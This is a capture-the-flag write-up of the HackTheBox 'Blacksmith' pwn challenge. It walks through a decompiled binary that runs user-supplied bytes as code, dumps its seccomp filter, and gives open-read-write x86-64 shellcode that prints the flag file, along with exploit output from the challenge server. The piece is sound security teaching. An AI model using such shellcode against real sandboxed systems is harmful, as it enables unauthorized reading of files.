Blacksmith
8 minutes to read
We are given a 64-bit binary called blacksmith
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
If we open it in Ghidra, we will see this main
function:
void main() {
size_t length;
long in_FS_OFFSET;
int answer;
int option;
char *message_1;
char *message_2;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
setup();
message_1 = "You are worthy to carry this Divine Weapon and bring peace to our homeland!\n";
message_2 = "This in not a weapon! Do not try to mock me!\n";
puts("Traveler, I need some materials to fuse in order to create something really powerful!");
printf("Do you have the materials I need to craft the Ultimate Weapon?\n1. Yes, everything is here! \n2. No, I did not manage to bring them all!\n> ");
__isoc99_scanf("%d", &answer);
if (answer != 1) {
puts("Farewell traveler! Come back when you have all the materials!");
/* WARNING: Subroutine does not return */
exit(0x22);
}
printf(&menu);
__isoc99_scanf("%d", &option);
sec();
if (option == 1) {
sword();
} else if (option == 2) {
shield();
} else if (option == 3) {
bow();
} else {
length = strlen(message_2);
write(1, message_2, length);
/* WARNING: Subroutine does not return */
exit(0x105);
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
It shows a menu with some options:
$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 2
Farewell traveler! Come back when you have all the materials!
$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡
2. 🛡
3. 🏹
> 1
This sword can cut through anything! The only thing is, that it is too heavy carry it..
zsh: invalid system call ./blacksmith
$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡
2. 🛡
3. 🏹
> 3
This bow's range is the best!
Too bad you do not have enough materials to craft some arrows too..
zsh: invalid system call ./blacksmith
$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡
2. 🛡
3. 🏹
> 2
Excellent choice! This luminous shield is empowered with Sun's light! ☀
It will protect you from any attack and it can reflect enemies attacks back!
Do you like your new weapon?
> yes
zsh: segmentation fault ./blacksmith
The only option where we can enter data is shield
(option 2
):
void shield() {
size_t length;
long in_FS_OFFSET;
undefined shellcode [72];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
length = strlen(message);
write(1, message, length);
length = strlen("Do you like your new weapon?\n> ");
write(1, "Do you like your new weapon?\n> ", length);
read(0, shellcode, 63);
(*(code *) shellcode)();
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Basically, we have the chance to enter machine code instructions that will be executed. We can enter up to 63 bytes. However, we are limited by sec
, which implements some seccomp
rules to allow specific syscall
instructions:
void sec() {
undefined8 rules;
long in_FS_OFFSET;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
prctl(0x26, 1);
prctl(4, 0);
rules = seccomp_init(0);
seccomp_rule_add(rules, 0x7fff0000, 2, 0);
seccomp_rule_add(rules, 0x7fff0000, 0, 0);
seccomp_rule_add(rules, 0x7fff0000, 1, 0);
seccomp_rule_add(rules, 0x7fff0000, 0x3c, 0);
seccomp_load(rules);
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
In order to enumerate these seccomp
rules, we can use seccomp-tools
:
$ seccomp-tools dump ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡
2. 🛡
3. 🏹
> 2
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
So, we are allowed to use sys_read
, sys_write
, sys_open
and sys_exit
. There are quite a few websites that list all Linux x86_64 syscall
instructions with the needed parameters and register configuration. For example, this one.
With the allowed syscall
instructions, we can open the flag file (flag.txt
) with sys_open
, read the file descriptor with sys_read
and write the output into the stdout
file descriptor with sys_write
. Additionally, we can exit with sys_exit
.
So, sys_open
needs the following register setup:
$rax = 2
$rdi
has a pointer to the filename string$rsi
has some flags$rdx
has the mode of operation (this one can be omitted)
Specifically, we can go to man7.org and learn more about the meaning of the parameters:
int open(const char *pathname, int flags);
Once we have sys_open
set, we will receive the file descriptor of the flag file as the return value in $rax
. It will be the time to use sys_read
:
$rax = 0
$rdi
has the file descriptor (the one returned bysys_open
)$rsi
has the address where to store the read data$rdx
has the count of bytes to read (for example,100
)
ssize_t read(int fd, void *buf, size_t count);
Finally, we will write the above contents to stdout
using sys_write
:
$rax = 1
$rdi
has the file descriptor (1
forstdout
)$rsi
has the address where to get the data$rdx
has the count of bytes to write (for example,100
)
ssize_t write(int fd, const void *buf, size_t count);
For people that have not written any assembly, it might be useful to write a C program with the above setup, compile it and analyze the generated assembly instructions:
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
void main() {
int fd;
char data[256];
fd = open("./flag.txt", O_RDONLY);
read(fd, data, 100);
write(1, data, 100);
exit(0);
}
$ gcc test.c -O3 -o test
test.c: In function ‘main’:
test.c:10:2: warning: ignoring return value of ‘read’, declared with attribute warn_unused_result [-Wunused-result]
10 | read(fd, data, 100);
| ^~~~~~~~~~~~~~~~~~~
test.c:11:2: warning: ignoring return value of ‘write’, declared with attribute warn_unused_result [-Wunused-result]
11 | write(1, data, 100);
| ^~~~~~~~~~~~~~~~~~~
$ ./test
HTB{f4k3_fl4g_f0r_t3st1ng}
This is the generated assembly code (optimized due to -O3
flag in gcc
). This is known as open-read-write shellcode:
$ objdump -M intel --disassemble=main test
test: file format elf64-x86-64
Disassembly of section .init:
Disassembly of section .plt:
Disassembly of section .plt.got:
Disassembly of section .plt.sec:
Disassembly of section .text:
00000000000010c0 <main>:
10c0: f3 0f 1e fa endbr64
10c4: 55 push rbp
10c5: 31 f6 xor esi,esi
10c7: 48 8d 3d 36 0f 00 00 lea rdi,[rip+0xf36] # 2004 <_IO_stdin_used+0x4>
10ce: 48 81 ec 10 01 00 00 sub rsp,0x110
10d5: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
10dc: 00 00
10de: 48 89 84 24 08 01 00 mov QWORD PTR [rsp+0x108],rax
10e5: 00
10e6: 31 c0 xor eax,eax
10e8: 48 89 e5 mov rbp,rsp
10eb: e8 b0 ff ff ff call 10a0 <open@plt>
10f0: ba 64 00 00 00 mov edx,0x64
10f5: 48 89 ee mov rsi,rbp
10f8: 89 c7 mov edi,eax
10fa: e8 91 ff ff ff call 1090 <read@plt>
10ff: bf 01 00 00 00 mov edi,0x1
1104: ba 64 00 00 00 mov edx,0x64
1109: 48 89 ee mov rsi,rbp
110c: e8 6f ff ff ff call 1080 <write@plt>
1111: 31 ff xor edi,edi
1113: e8 98 ff ff ff call 10b0 <exit@plt>
Disassembly of section .fini:
This is great, but let’s do the same with syscall
instructions:
push rsi
mov rdi, 'flag.txt' # as hexadecimal number
push rdi
mov rdi, rsp
mov al, 2
syscall
mov dl, 0x64
mov rsi, rsp
xor edi, eax
xor al, al
syscall
mov al, 1
mov rdi, rax
syscall
mov al, 0x3c
syscall
Notice how I set $rdi
to the pointer to "flag.txt\0"
, and also how the registers for sys_write
are still configured from the previous sys_read
. I also optimized a bit the use of registers so that the generated shellcode is shorter.
If we enter the above shellcode in the blacksmith
program, we will get the flag:
$ python3 solve.py 134.209.26.70:31965
[*] './blacksmith'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[+] Opening connection to 134.209.26.70 on port 31965: Done
[+] HTB{s3cc0mp_1s_t00_s3cur3}
[*] Closed connection to 134.209.26.70 port 31965
The full exploit can be found in here: solve.py
.